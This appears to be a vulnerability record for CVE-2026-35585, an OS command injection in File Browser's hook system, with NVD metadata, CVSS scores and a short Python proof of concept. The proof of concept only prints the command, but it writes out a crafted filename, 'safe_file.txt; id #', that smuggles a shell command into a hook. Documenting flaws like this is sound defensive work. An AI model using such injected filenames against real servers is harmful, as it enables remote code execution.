CVE-2026-35585

# Proof of Concept: Malicious Filename Creation # This script simulates uploading a file with a malicious filename. # If a Hook is configured to run a command like 'echo $FILE', # the server will execute the injected command. import os # Simulating the vulnerable component # The vulnerable code uses os.Expand which replaces $FILE with the filename # without sanitization. malicious_filename = "safe_file.txt; id #" hook_command_template = "echo Processing file: $FILE" # Vulnerable expansion logic (Go's os.Expand equivalent in Python concept) # In the real vulnerability, this happens in the Go binary. # Here we just demonstrate the string manipulation. # The server constructs the final command def execute_hook(filename): # Vulnerable: direct substitution final_cmd = hook_command_template.replace("$FILE", filename) print(f"[VULNERABLE SERVER] Executing: {final_cmd}") # In a real scenario, os.system(final_cmd) would be called # os.system(final_cmd) # This would run 'id' on the server if __name__ == "__main__": print(f"[ATTACKER] Uploading file: {malicious_filename}") execute_hook(malicious_filename)

{"cve": {"id": "CVE-2026-35585", "sourceIdentifier": "[email protected]", "published": "2026-04-07T17:16:33.980", "lastModified": "2026-04-16T18:44:06.180", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. From 2.0.0 through 2.63.1, the hook system in File Browser — which executes administrator-defined shell commands on file events such as upload, rename, and delete — is vulnerable to OS command injection. Variable substitution for values like $FILE and $USERNAME is performed via os.Expand without sanitization. An attacker with file write permission can craft a malicious filename containing shell metacharacters, causing the server to execute arbitrary OS commands when the hook fires. This results in Remote Code Execution (RCE). This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}, {"lang": "en", "value": "CWE-88"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:filebrowser:filebrowser:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndIncluding": "2.63.1", "matchCriteriaId": "D4AEEB27-AA85-4D9B-8D23-0528321C3156"}]}]}], "references": [{"url": "https://github.com/filebrowser/filebrowser/issues/5199", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-jvpw-637p-h3pw", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-jvpw-637p-h3pw", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}